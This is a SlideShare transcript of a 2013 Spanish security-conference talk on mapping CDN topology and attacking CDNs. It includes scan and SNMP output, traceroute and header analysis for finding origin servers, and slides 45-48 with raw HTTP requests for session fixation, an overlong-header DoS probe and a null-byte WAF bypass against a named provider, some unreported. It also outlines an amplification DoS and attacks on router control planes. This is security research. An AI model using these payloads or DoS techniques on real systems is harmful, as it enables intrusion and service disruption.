Adivina quién viene a CDNear esta noche
Upcoming SlideShare
Loading in...5
×

Like this? Share it with your network

Share

Adivina quién viene a CDNear esta noche

  • 452 views
Uploaded on

Talk about how to identify and map CDN topology and technologies being used as well as several potential attack vectors against this kind of networks. Also, I explained how to process different......

Talk about how to identify and map CDN topology and technologies being used as well as several potential attack vectors against this kind of networks. Also, I explained how to process different information collected about a CDN network to infer routers information like role, vendor, peers and so on to create a graph database and apply some graph theory to spot critical assets. Everything was shown with a tool programmed for that, "CDN Mapper&Analyzer" (CDNMA). Finally few vulnerabilities (both reported and undisclosed) from CDN providers were shown.

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads

Views

Total Views
452
On Slideshare
449
From Embeds
3
Number of Embeds
1

Actions

Shares
Downloads
1
Comments
0
Likes
0

Embeds 3

https://twitter.com 3

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. Adivina quién viene a CDNear esta noche Alejandro Nolla Felipe Martín NAVAJA NEGRA CONFERENCE 2013
  • 2. SHALL WE PLAY A GAME? Love to. How about attacking a CDN? WOULDN’T YOU PREFER A GOOD GAME OF CHESS?
  • 3. class AlejandroNolla(mandalorian): #---------------------------------------------------------------------def __init__(self): self.name = 'Alejandro Nolla Blanco' self.nickname = 'z0mbiehunt3r' self.role = 'Threat Intelligence Analyst' self.interests = ['networking', 'python', 'offensive security']
  • 4. Felipe Martín • • • • • Programador coj*nudo Y mejor amigo ;) Se ha currado toda la interfaz Troll friend is troll @fmartingr
  • 5. ¿Qué es y cómo funciona una red CDN? Servidor de origen www.dominio.com www.dominio.com
  • 6. Pero no toques, ¿por qué tocas? • • • • Utilización cada vez más habitual Falsa sensación de invulnerabilidad Mucho por aprender e investigar Aritmética básica + =
  • 7. Vectores de ataque Servidor de origen www.dominio.com
  • 8. Vectores de ataque Servidor de origen www.dominio.com
  • 9. Vectores de ataque Servidor de origen www.dominio.com
  • 10. Vectores de ataque Proveedor del servicio Servidor de origen www.dominio.com
  • 11. Target #1: Frontales CDN • • Geolocalización de IPs de servidores • Asociación geolocalización -> País servido • Detección de balanceadores de carga/WAF/IPS • Qué Resolución DNS masiva Identificación de servicios Resol. DNS Cómo Análisis tecn. Ident. servicios
  • 12. Nmap scan report for xxx.xxx.xxx.163 PORT STATE SERVICE REASON VERSION 20/tcp closed ftp-data reset 21/tcp closed ftp reset 25/tcp closed smtp reset 53/tcp closed domain reset 80/tcp open http syn-ack nginx 443/tcp open http syn-ack nginx 878/tcp closed unknown reset 3333/tcp open ssh syn-ack OpenSSH 4.3 (protocol 2.0) 8786/tcp open http reset Django httpd (WSGIServer 0.1; Python 2.4.3) 10050/tcp open tcpwrapped syn-ack
  • 13. Nmap scan report for xxx.xxx.xxx.36 PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack nginx 1.0.14 443/tcp open http syn-ack nginx 1.0.14 2121/tcp open ftp syn-ack ProFTPD 1.3.3c 3333/tcp open ssh syn-ack OpenSSH 4.3 (protocol 2.0) 8080/tcp open http syn-ack Apache httpd 2.2.3 ((CentOS)) 8786/tcp open http syn-ack Django httpd (WSGIServer 0.1; Python 2.4.3) 10050/tcp open tcpwrapped syn-ack
  • 14. Target #2: Infraestructura de red WAN
  • 15. “Ecosistema” WAN • • • BGP • ASn / prefijos • Transit / Peering / IXP Routers • Protocolos • Fabricante • Características • Rol Topologías
  • 16. Jefe! Una de traceroute....
  • 17. Infiriendo la arquitectura • Cada prueba UDP utiliza un puerto de origen distinto 10  xxx.xxx.18.152  44  msec  48  msec  120  msec 11  xxx.xxx.18.197  44  msec      xxx.xxx.18.203  40  msec  44  msec 12  xxx.xxx.118.134  40  msec  44  msec      xxx.xxx.118.138  44  msec 13  xxx.xxx.240.195  44  msec  44  msec  40  msec xxx.xxx.18.203 xxx.xxx.118.138 xxx.xxx.18.152 xxx.xxx.240.195 xxx.xxx.18.197 xxx.xxx.118.134
  • 18. Infiriendo la arquitectura • Cada prueba UDP utiliza un puerto de origen distinto 10  xxx.xxx.18.152  44  msec  48  msec  120  msec 11  xxx.xxx.18.197  44  msec      xxx.xxx.18.203  40  msec  44  msec 12  xxx.xxx.118.134  40  msec  44  msec      xxx.xxx.118.138  44  msec 13  xxx.xxx.240.195  44  msec  44  msec  40  msec xxx.xxx.18.203 xxx.xxx.118.138 xxx.xxx.18.152 xxx.xxx.240.195 xxx.xxx.18.197 xxx.xxx.118.134
  • 19. Infiriendo la arquitectura • Cada prueba UDP utiliza un puerto de origen distinto 10  xxx.xxx.18.152  44  msec  48  msec  120  msec 11  xxx.xxx.18.197  44  msec      xxx.xxx.18.203  40  msec  44  msec 12  xxx.xxx.118.134  40  msec  44  msec      xxx.xxx.118.138  44  msec 13  xxx.xxx.240.195  44  msec  44  msec  40  msec xxx.xxx.18.203 xxx.xxx.118.138 xxx.xxx.18.152 xxx.xxx.240.195 xxx.xxx.18.197 xxx.xxx.118.134
  • 20. Infiriendo la arquitectura • Cada prueba UDP utiliza un puerto de origen distinto 10  xxx.xxx.18.152  44  msec  48  msec  120  msec 11  xxx.xxx.18.197  44  msec      xxx.xxx.18.203  40  msec  44  msec 12  xxx.xxx.118.134  40  msec  44  msec      xxx.xxx.118.138  44  msec 13  xxx.xxx.240.195  44  msec  44  msec  40  msec xxx.xxx.18.203 xxx.xxx.118.138 xxx.xxx.18.152 xxx.xxx.240.195 xxx.xxx.18.197 xxx.xxx.118.134
  • 21. Resolución inversa DNS • • • Comúnmente utilizado para troubleshooting Puede proporcionar valiosa información xe-11-1-0.edge1.NewYork1.Level3.net • Fabricante: juniper • Tipo de interfaz: 10_gigabit_ethernet • Rol: peering • Localización: Nueva York • Propietario: level3
  • 22. Conexiones activas en el router 161/udp open snmp udp-response | snmp-netstat: | TCP xxx.xxx.xxx.34:23 xxx.xxx.xxx.202:49197 | TCP xxx.xxx.xxx.2:27692 xxx.xxx.xxx.1:179 | TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23 | TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179 | TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179 | TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179 | TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179 | TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179 | UDP xxx.xxx.xxx.196:123 *:* | UDP xxx.xxx.xxx.196:161 *:* |_ UDP xxx.xxx.xxx.196:162 *:*
  • 23. Conexiones activas en el router 161/udp open snmp udp-response | snmp-netstat: | TCP xxx.xxx.xxx.34:23 xxx.xxx.xxx.202:49197 | TCP xxx.xxx.xxx.2:27692 xxx.xxx.xxx.1:179 | TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23 | TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179 | TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179 | TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179 | TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179 | TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179 | UDP xxx.xxx.xxx.196:123 *:* | UDP xxx.xxx.xxx.196:161 *:* |_ UDP xxx.xxx.xxx.196:162 *:* Telnet
  • 24. Conexiones activas en el router 161/udp open snmp udp-response | snmp-netstat: | TCP xxx.xxx.xxx.34:23 xxx.xxx.xxx.202:49197 | TCP xxx.xxx.xxx.2:27692 xxx.xxx.xxx.1:179 | TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23 | TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179 | TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179 | TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179 | TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179 | TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179 | UDP xxx.xxx.xxx.196:123 *:* | UDP xxx.xxx.xxx.196:161 *:* |_ UDP xxx.xxx.xxx.196:162 *:* BGP
  • 25. Interfaces en el router 161/udp open snmp udp-response | snmp-interfaces: | GigabitEthernet0/1 | IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248 | MAC address: 00:14:a8:00:00:2c (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 722.55 Mb sent, 4.19 Gb received | GigabitEthernet0/2 | IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252 | MAC address: 00:14:a8:00:00:2d (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 3.22 Gb sent, 3.13 Gb received | Loopback7 | IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255 | Type: softwareLoopback Speed: 4 Gbps | Status: up |_ Traffic stats: 0.00 Kb sent, 0.00 Kb received
  • 26. Interfaces en el router 161/udp open snmp udp-response | snmp-interfaces: | GigabitEthernet0/1 | IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248 | MAC address: 00:14:a8:00:00:2c (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 722.55 Mb sent, 4.19 Gb received | GigabitEthernet0/2 | IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252 | MAC address: 00:14:a8:00:00:2d (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 3.22 Gb sent, 3.13 Gb received | Loopback7 | IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255 | Type: softwareLoopback Speed: 4 Gbps | Status: up |_ Traffic stats: 0.00 Kb sent, 0.00 Kb received
  • 27. Interfaces en el router 161/udp open snmp udp-response | snmp-interfaces: | GigabitEthernet0/1 | IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248 | MAC address: 00:14:a8:00:00:2c (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 722.55 Mb sent, 4.19 Gb received | GigabitEthernet0/2 | IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252 | MAC address: 00:14:a8:00:00:2d (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 3.22 Gb sent, 3.13 Gb received | Loopback7 | IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255 | Type: softwareLoopback Speed: 4 Gbps | Status: up |_ Traffic stats: 0.00 Kb sent, 0.00 Kb received BGP/OSPF
  • 28. Identificando Anycast BGP (RIPEstat)
  • 29. Latencia de red (serialización + buffering + propagación) • Serialización : • Tamaño de paquete / Velocidad del enlace • 1500 bytes / 1Gbps = 0.12ms de retardo • Buffering o encolado: • Depende de la congestión del interfaz • Propagación: • Velocidad de la luz en el vacío ~300,000km/seg • Índice de refracción de la fibra óptica ~1.48 • Velocidad de la luz en fibra óptica ~200,000km/seg (300,000*(1/1.48)) • RTT mide el tiempo de ida y vuelta
  • 30. Latencia de red (serialización + buffering + propagación) • Serialización : • Tamaño de paquete / Velocidad del enlace • 1500 bytes / 1Gbps = 0.12ms de retardo • Buffering o encolado: • Depende de la congestión del interfaz • Propagación: • Velocidad de la luz en el vacío ~300,000km/seg • Índice de refracción de la fibra óptica ~1.48 • Velocidad de la luz en fibra óptica ~200,000km/seg (300,000*(1/1.48)) • RTT mide el tiempo de ida y vuelta
  • 31. Trilateración
  • 32. Trilateración
  • 33. IXP (Internet Exchange Point) • • • • Puntos de intercambio de tráfico La seguridad es responsabilidad de cada participante Localizaciones comunes para las principales redes CDN peeringdb.com: BBDD pública con información de peering • Peering públicos • Peering privados • Capacidades del enlace • Información variada sobre el tráfico
  • 34. IXP en el mapa de Internet
  • 35. Target #3: Servidor de origen • • • Necesitamos potenciales candidatos (ASn/rangos) Solicitar recurso no cacheable • GET / buscador/?query=consulta HTTP/1.1 Dos vías de análisis • Cabeceras HTTP • Contenido de la respuesta
  • 36. Análisis de cabeceras HTTP AKAMAI Servidor de Origen HTTP/1.1 200 OK HTTP/1.1 200 OK Server: IBM_HTTP_Server Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:20 GMT Content-Type: text/html Server: IBM_HTTP_Server Content-Length: 2032 Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:16 GMT Content-Length: 2032 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Content-Type: text/html
  • 37. Análisis de cabeceras HTTP AKAMAI Servidor de Origen HTTP/1.1 200 OK HTTP/1.1 200 OK Server: IBM_HTTP_Server Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:20 GMT Content-Type: text/html Server: IBM_HTTP_Server Content-Length: 2032 Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:16 GMT Content-Length: 2032 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Content-Type: text/html
  • 38. Análisis de cabeceras HTTP AKAMAI Servidor de Origen HTTP/1.1 200 OK HTTP/1.1 200 OK Server: IBM_HTTP_Server Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:20 GMT Content-Type: text/html Server: IBM_HTTP_Server Content-Length: 2032 Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:16 GMT Content-Length: 2032 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Content-Type: text/html
  • 39. Análisis de cabeceras HTTP AKAMAI Servidor de Origen HTTP/1.1 200 OK HTTP/1.1 200 OK Server: IBM_HTTP_Server Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:20 GMT Content-Type: text/html Server: IBM_HTTP_Server Content-Length: 2032 Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:16 GMT Content-Length: 2032 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Content-Type: text/html
  • 40. Análisis de cabeceras HTTP AKAMAI Servidor de Origen HTTP/1.1 200 OK HTTP/1.1 200 OK Server: IBM_HTTP_Server Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:20 GMT Content-Type: text/html Server: IBM_HTTP_Server Content-Length: 2032 Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:16 GMT Content-Length: 2032 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Content-Type: text/html
  • 41. Resultados en entorno real • • • • No somos vulnerables a DDoS, usamos CDN (ahí, provocando) Se descubrieron los servidores de origen • De producción • De pre-producción • Así como servidores de pruebas Vulnerables a múltiples ataques DoS Detección de balanceadores de carga • Y enumeración de IPs internas
  • 42. Resultados en entorno real • • • • No somos vulnerables a DDoS, usamos CDN (ahí, provocando) Se descubrieron los servidores de origen • De producción • De pre-producción • Así como servidores de pruebas Vulnerables a múltiples ataques DoS Detección de balanceadores de carga • Y enumeración de IPs internas
  • 43. Target #4: Proveedor servicio CDN • • • • • Notificadas múltiples vulnerabilidades Comunicación sólo hasta tener datos Rápidamente arregladas Múltiples intentos (infructuosos) de feedback Varias vulnerabilidades no notificadas :D
  • 44. XSS Reflejado / Almacenado
  • 45. Session Fixation GET / HTTP/1.1 Host: 190.93.240.253 ; __cfuid=cookie_tampering User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0 [...] HTTP/1.1 409 Conflict Server: cloudflare-nginx Date: Sat, 06 Jul 2013 19:12:03 GMT Content-Type: text/html Connection: keep-alive Cache-Control: max-age=6 Expires: Sat, 06 Jul 2013 19:12:09 GMT CF-RAY: 89e9ab725d3024a Set-Cookie: __cfduid=d06b07472e09dc[...]fc71373137923; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.240.253; __cfuid=cookie_tampering Content-Length: 2707
  • 46. Potencial DoS/BoF de servidor backend GET / HTTP/1.1 Host: 190.93.240.253 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBC [...] HTTP/1.1 504 Gateway Time-out Server: cloudflare-nginx Date: Sat, 06 Jul 2013 19:14:11 GMT Content-Type: text/html Content-Length Connection: keep-alive CF-RAY: 89e9ab725d3024a Set-Cookie: __cfduid=d06b[...]7923; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=. 240.253 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbc
  • 47. Posible bypass de WAF (no notificado) GET /api/v2/zstore/get?zsn=preset&z=aaaa.com</>&atok=1374[...]63 HTTP/1.1 Host: www.cloudflare.com [...] HTTP/1.1 200 OK Server: cloudflare-nginx [...] Content-Length: 71 {"request":{"act":"zstore_get"},"result":"error","msg":"Invalid zone."}
  • 48. Posible bypass de WAF (no notificado) GET /api/v2/zstore/get?zsn=preset&z=aaaa.com%00</>&atok=1374[...]63 HTTP/1.1 Host: www.cloudflare.com [...] HTTP/1.1 200 OK Server: cloudflare-nginx [...] Content-Length: 169 {"request":{"act":"zstore_get"},"result":"error","msg":"Could not find aaaa.comu0000&lt;/&gt; under your account. Domains must be signed up and active on CloudFlare."}
  • 49. ¿Atacar un CDN?
  • 50. ¿Atacar un CDN?
  • 51. ¿Atacar un CDN?
  • 52. Atacar un CDN • Mapear infraestructura existente • Comprender la cohesión • Identificar puntos débiles • “It’s not a bug, it’s a feature” • Comprender la arquitectura interna de los dispositivos
  • 53. El ataque de los cinco puntos de presión
  • 54. Network boundaries y relaciones BPG • Identificación de fronteras de la red: • Aplicación de políticas de enrutamiento • Zona crítica en cuanto a capacidad y funcionamiento del routing • 4 te1-2-10g.ar3.DCA3.gblx.net (67.17.108.146) • 5 sl-st21-ash-8-0-0.sprintlink.net (144.232.18.65) • Identificación de relación BGP • t2-1.peer01.loudoun.va.ena.net (207.191.187.106) • ip65-46-186-97.z186-46-65.customer.algx.net (65.46.186.97)
  • 55. Network boundaries y relaciones BPG Transit ISP ISP Backbone Peer ISP Cliente 2 Cliente 1
  • 56. Explotando las relaciones entre peers Peering Transit Provider A Provider B Provider C Multi-Homed Customer Customer Customer Customer Customer Customer Customer
  • 57. Explotando las relaciones entre peers Peering Transit Provider A Provider B Provider C Multi-Homed Customer Customer Customer Customer Customer Customer Customer
  • 58. CDN-minigun (amplificando, que es gerundio) • • • • Necesitamos asegurar el “hit” • Solicitar recurso no existente (forzamos un 404) • Solicitar recurso no cacheable • Jugamos con la cabecera “Vary” No necesitamos recibir la respuesta del CDN ;) Solicitamos recursos pesados Throughput: peticiones/sec * IPs origen * frontales CDN
  • 59. Arquitectura en los routers Imagen obtenida de http://wiki.nil.com/Control_and_Data_plane
  • 60. Procesamiento de paquetes Slow Path (Control Plane) • • • Protocolos de enrutamiento (Routing Information Database) Procesador RISC (Instrucciones en software) Maneja algunas excepciones (IP options, ICMP generation, etc) Fast Path (Data Plane) • • Paquetes enviados a través del router Circuitos integrados ASIC (Instrucciones en hardware)
  • 61. Atacando el control plane • • • ¿Fallo en el enlace? • Pérdida de sesión BGP • Efecto cascada (withdrawal de prefijos) Consumir CPU / buffers Low-Rate TCP-Targeted DoS / CXPST
  • 62. Conclusiones • • • Una red CDN es un conjunto de redes • Múltiples y diversos dispositivos • Diferentes políticas de seguridad Mayor superficie de ataque Son necesarios técnicas y ataques más elaboradas
  • 63. Rondita de preguntas @z0mbiehunt3r blog.alejandronolla.com alejandro.nolla@gmail.com